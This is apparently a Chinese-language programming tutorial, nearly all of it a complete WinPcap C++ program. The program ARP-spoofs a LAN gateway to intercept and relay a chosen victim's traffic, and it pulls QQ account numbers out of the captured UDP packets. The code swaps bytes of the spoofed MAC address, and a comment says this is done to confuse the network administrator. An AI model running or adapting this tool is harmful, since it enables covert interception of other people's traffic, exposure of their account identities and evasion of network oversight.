在局域网上，理论上所有传输的数据会经过每个机器，所以这就为我们嗅探提供了遍历。、

下面我来编程实现QQ号码的IP嗅探。

#include "stdafx.h"
#include "pcap.h"
#include <stdio.h>
#include "Iphlpapi.h"
#include "protocol.h"

#pragma comment(lib,"wpcap.lib")
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib,"wsock32.lib")
#define PCAP_OPENFLAG_PROMISCUOUS 1

DWORD dwMyIp,dwGateIp,dwSubnet,dwDstIp;
UCHAR uMyMac[6],uGateMac[6],uDstMac[6];
pcap_t *adhandle;
int nCount = 0;//用于执行三次获取网关MAC的操作
bool bGateMac = true;
bool bDstMac = true;

void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[]);
int SendPacket(char *pBuffer, int nLen);

/* 每次捕获到数据包时，libpcap都会自动调用这个回调函数 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    ETHeader *pETHdr = (ETHeader *)pkt_data;
	if(ntohs(pETHdr->type) == ETH_TYPE_ARP)
	{
		if(header->len < sizeof(ArpPacket)) return;
		ARPHeader *pArpHdr = (ARPHeader *)((char *)pkt_data+sizeof(ETHeader));
		if(ntohs(pArpHdr->opcode) == ARPOP_REPLY)
		{
			if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwGateIp && bGateMac)
			{
				if(nCount == 0)
				{
					memcpy(uGateMac,pArpHdr->smac,6);
					nCount ++;
				}else if(nCount == 3)//完成获取网关MAC
				{
					bGateMac = false;
					return;
				}else{
					if(!memcmp(uGateMac,pArpHdr->smac,6))
					{
						nCount ++;
					}else{
						nCount = 0;
					}
				}
				SendArpRequest(dwGateIp,dwMyIp,uMyMac);
			}
			if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwDstIp && bDstMac)
			{
				memcpy(uDstMac,pArpHdr->smac,6);
				bDstMac = false;
			}
		}
	}
	if(ntohs(pETHdr->type) == ETH_TYPE_IP)
	{
		IpHeader *pIpHdr = (IpHeader *)((char*)pkt_data+sizeof(ETHeader));
		if(pIpHdr->Protocol == PROTOCOL_UDP)
		{
			if(header->len < sizeof(ETHeader) + sizeof(IpHeader) + sizeof(UdpHeader)) return;
			UdpHeader *pUdpHdr = (UdpHeader *)((char*)pIpHdr+sizeof(IpHeader));
			if(ntohs(pUdpHdr->SrcPort) == 8000)
			{
				QQHeader *pQQHdr = (QQHeader *)((char*)pUdpHdr+sizeof(UdpHeader));
				if(pQQHdr->Flag != 0x02) return;//不是qq数据包
				UCHAR uQQ[4];
				memcpy(uQQ,pQQHdr->Data,4);
				DWORD dwQQ = 0;
				for(int i=0;i<4;i++)
				{
					dwQQ = dwQQ*256+uQQ[i];
				}
				printf("找到IP：%s的QQ号：%u\n",inet_ntoa(*(in_addr*)&pIpHdr->DstAddr),dwQQ);
			}
		}
		if(pIpHdr->DstAddr == dwDstIp && memcmp(pETHdr->dhost,uDstMac,6))//目的IP为要嗅探的IP，但是目的MAC不是对方的MAC
		{
			pETHdr->shost[5] ++;//源MAC不能设为网关MAC，否则会出现交换机欺骗，从而其它主机也无法上网
			memcpy(pETHdr->dhost,uDstMac,6);
			SendPacket((char*)pkt_data,header->len);
		}
	}
}


int SendPacket(char *pBuffer, int nLen)
{
	if(pcap_sendpacket(adhandle,(UCHAR *)pBuffer,nLen)) return 0;
	return 1;
}

void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[])
{
	ArpPacket *pArpPacket = new ArpPacket;
	for(int i =0;i<6;i++)
		pArpPacket->eth.dhost[i] = 0xFF;
	memcpy(pArpPacket->eth.shost,uSrcMac,6);
	pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
	pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
	pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
	pArpPacket->arp.maclen = 6;
	pArpPacket->arp.iplen = 4;
	pArpPacket->arp.opcode = ntohs(ARPOP_REQUEST);
	memcpy(pArpPacket->arp.smac,uSrcMac,6);
	pArpPacket->arp.saddr = dwSrcIP;
	memset(pArpPacket->arp.dmac,0,6);
	pArpPacket->arp.daddr = dwDesIP;
	SendPacket((char*)pArpPacket,sizeof(ArpPacket));
	delete pArpPacket;
}

void SendArpReply(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uDesMac[], UCHAR uSrcMac[])
{
	ArpPacket *pArpPacket = new ArpPacket;
	memcpy(pArpPacket->eth.dhost,uDesMac,6);
	memcpy(pArpPacket->eth.shost,uSrcMac,6);
	pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
	pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
	pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
	pArpPacket->arp.maclen = 6;
	pArpPacket->arp.iplen = 4;
	pArpPacket->arp.opcode = ntohs(ARPOP_REPLY);
	memcpy(pArpPacket->arp.smac,uSrcMac,6);
	pArpPacket->arp.saddr = dwSrcIP;
	memcpy(pArpPacket->arp.dmac,uDesMac,6);
	pArpPacket->arp.daddr = dwDesIP;
	SendPacket((char*)pArpPacket,sizeof(ArpPacket));
	delete pArpPacket;
}

int WINAPI MyThread(LPVOID Param)
{
//	Sleep(100);
	SendArpRequest(dwGateIp,dwMyIp,uMyMac);
	while(1)
	{
		if(bGateMac)
		{
			::Sleep(100);
			continue;
		}
		break;
	}
	printf("网关MAC为：%02X-%02X-%02X-%02X-%02X-%02X\n",uGateMac[0],uGateMac[1],uGateMac[2],uGateMac[3],uGateMac[4],uGateMac[5]);
	printf("输入要嗅探的IP地址：");
	char ip[20];
	scanf("%s",ip);
	dwDstIp = inet_addr(ip);
	SendArpRequest(dwDstIp,dwMyIp,uMyMac);
	while(1)
	{
		if(bDstMac)
		{
			::Sleep(100);
			continue;
		}
		break;
	}
	printf("目标MAC为：%02X-%02X-%02X-%02X-%02X-%02X\n",uDstMac[0],uDstMac[1],uDstMac[2],uDstMac[3],uDstMac[4],uDstMac[5]);
	printf("输入每秒发送欺骗包的个数：1-50\n");
	int nSpeed;
	scanf("%d",&nSpeed);
	UCHAR uMac[6]; 
	uMac[0] = uDstMac[0];
	uMac[1] = uDstMac[1];
	uMac[2] = uDstMac[3];
	uMac[3] = uDstMac[2];//交换MAC的第三和第四个字节，迷惑管理员
	uMac[4] = uDstMac[4];
	uMac[5] = uDstMac[5];
	while(1)
	{
		SendArpReply(dwGateIp,inet_addr(ip),uGateMac,uMac);
		Sleep(1000/nSpeed);
	}
	return 0;
}

int GetNetConfig(DWORD dwIp)
{
	PIP_ADAPTER_INFO pAdapterInfo = NULL;
	ULONG ulLen = 0;

	// 为适配器结构申请内存
	::GetAdaptersInfo(pAdapterInfo,&ulLen);
	pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen);
	
	// 取得本地适配器结构信息
	if(::GetAdaptersInfo(pAdapterInfo,&ulLen) ==  ERROR_SUCCESS)
	{
		while(pAdapterInfo != NULL)
		{
			if(dwIp == inet_addr(pAdapterInfo->IpAddressList.IpAddress.String))
			{
				dwMyIp = dwIp;
				memcpy(uMyMac,pAdapterInfo->Address,6);
				dwSubnet = inet_addr(pAdapterInfo->IpAddressList.IpMask.String);
				dwGateIp = inet_addr(pAdapterInfo->GatewayList.IpAddress.String);
				//				CEther::SetGateWayAddr(inet_addr(pAdapterInfo->GatewayList.IpAddress.String),"");
				printf("本机IP地址为：%s\n本机MAC为：%02X-%02X-%02X-%02X-%02X-%02X\n网关IP地址为：%s\n",
					pAdapterInfo->IpAddressList.IpAddress.String,
					uMyMac[0],uMyMac[1],uMyMac[2],uMyMac[3],uMyMac[4],uMyMac[5],
					pAdapterInfo->GatewayList.IpAddress.String);
				return 1;
			}
			pAdapterInfo = pAdapterInfo->Next;
		}
		return 0;
	}
	return -1;
}
int main(int argc, char* argv[])
{
	pcap_if_t *alldevs; 
	pcap_if_t *d; 
	int i = 0; 
	char errbuf[PCAP_ERRBUF_SIZE]; 
	
	/* Retrieve the device list from the local machine*/ 
	if (pcap_findalldevs(&alldevs, errbuf) == -1)  
	{ 
		printf("Error in pcap_findalldevs_ex: %s\n", errbuf); 
		exit(1); 
	} 
	
	/* Print the list */ 
	for (d = alldevs; d != NULL; d = d->next) 
	{ 
		/* Print the device’s name */ 
		printf("%d. %s", ++ i, d->name); 
		
		/* Print the device’s dscription */ 
		if (d->description) 
		{ 
			printf("(%s)\n", d->description); 
		} 
		else 
		{ 
			printf("(No description available)\n"); 
		} 
	} 
	
	if (i == 0) 
	{ 
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); 
		return -1; 
	} 
	printf("Enter the interface number (1-%d):",i);
	int nIdx;
    scanf("%d", &nIdx);
    
    if(nIdx < 1 || nIdx > i)
    {
        printf("\nInterface number out of range.\n");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    /* 跳转到选中的适配器 */
    for(d=alldevs, i=0; i< nIdx-1 ;d=d->next, i++);
    
    /* 打开设备 */
    if((adhandle= pcap_open_live(d->name,          // 设备名
		65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
		PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
		10,             // 读取超时时间
		errbuf            // 错误缓冲池
		)) == NULL)
    {
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    printf("\nlistening on %s...\n", d->description);
    
	GetNetConfig(((sockaddr_in *)(d->addresses->addr))->sin_addr.S_un.S_addr);
    /* 释放设备列表 */
    pcap_freealldevs(alldevs);
    
	::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MyThread,NULL,0,0);
    /* 开始捕获 */
    pcap_loop(adhandle, 0, packet_handler, NULL);
	return 0;
}